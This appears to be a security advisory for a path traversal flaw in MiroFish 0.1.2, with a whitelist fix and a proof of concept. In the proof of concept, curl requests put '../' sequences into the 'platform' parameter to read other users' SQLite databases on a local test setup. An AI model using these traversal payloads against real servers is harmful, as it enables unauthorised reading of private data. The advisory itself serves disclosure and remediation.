# MiroFish Arbitrary SQLite Database Read Vulnerability (#489) ## Vulnerability Overview * **Vulnerability Type**: Path Traversal / Arbitrary Database Read * **Severity**: High (CVSS 7.5) * **Affected Versions**: MiroFish 0.1.2 * **Root Cause**: The backend API fails to validate the `platform` query parameter when handling `GET /api/simulation//posts` and `GET /api/simulation//comments` requests. Attackers can construct `../` sequences to traverse directories and read arbitrary SQLite database files on the server. ## Impact Scope * **Data Leakage**: Attackers can read simulation databases for any user, containing LLM-generated posts, comments, user IDs, and timestamps. * **No Authentication Required**: Exploiting this vulnerability only requires sending a GET request; no cookies, tokens, or credentials are needed. * **Broader Access**: If other server components store data using the `.simulation.db` suffix, attackers can read these databases as well. ## Remediation * **Immediate Fix**: Implement whitelist validation for the `platform` parameter. Only allow `twitter` and `reddit` values; reject all other inputs. * **Code Example**: ```python ALLOWED_PLATFORMS = ['twitter', 'reddit'] # ... if platform not in ALLOWED_PLATFORMS: return jsonify({"success": False, "error": "Invalid platform"}), 400 ``` ## POC Code and Exploitation Examples **1. Environment Preparation (Creating Victim Database)** ```bash cd backend # Create victim simulation directory mkdir -p uploads/simulations/sim_victim_real python3 -c " import sqlite3, os db_path = 'uploads/simulations/sim_victim_real/reddit_simulation.db' conn = sqlite3.connect(db_path) c = conn.cursor() c.execute('''CREATE TABLE post ( id INTEGER PRIMARY KEY, content TEXT, user_id INTEGER, created_at TEXT )''') # Insert simulated data c.execute('''INSERT INTO post VALUES (1, 'CEO Internal Decision: Announcing 30% Layoffs Tomorrow', 100, '2026-01-01')''') c.execute('''INSERT INTO post VALUES (2, 'Financial Forecast: Q2 Revenue Down 40%, Not Yet Public', 101, '2026-01-02')''') conn.commit() conn.close() print(f'Victim DB created at: {os.path.abspath(db_path)}') print(f'DB size: {os.path.getsize(db_path)} bytes') " ``` **2. Attacker Directory Preparation** ```bash # Create attacker simulation directory mkdir -p uploads/simulations/sim_attacker ``` **3. Exploitation Code (Reading Victim Data)** ```bash # Perform path traversal via the platform parameter curl -s "http://localhost:5001/api/simulation/sim_attacker/posts?platform=../sim_victim_real/reddit" ``` **4. Exploitation Code (Reading Arbitrary Directory Data)** ```bash # Create sensitive database mkdir -p uploads/sensitive_area python3 -c " import sqlite3, os db_path = 'uploads/sensitive_area/secrets_simulation.db' conn = sqlite3.connect(db_path) c = conn.cursor() c.execute('''CREATE TABLE post (id INTEGER PRIMARY KEY, content TEXT, user_id INT, created_at TEXT)''') c.execute('''INSERT INTO post VALUES (1, 'TOP_SECRET_API_KEY=sk-1234567890abcdef', 2, '2026-01-01')''') c.execute('''INSERT INTO post VALUES (2, 'DATABASE_PASSWORD=P@ssw0rd!', 2, '2026-01-01')''') conn.commit() conn.close() print(f'Sensitive DB created at: {os.path.abspath(db_path)}') " # Traverse two directory levels to read sensitive data curl -s "http://localhost:5001/api/simulation/sim_attacker/posts?platform=../../sensitive_area/secrets" ```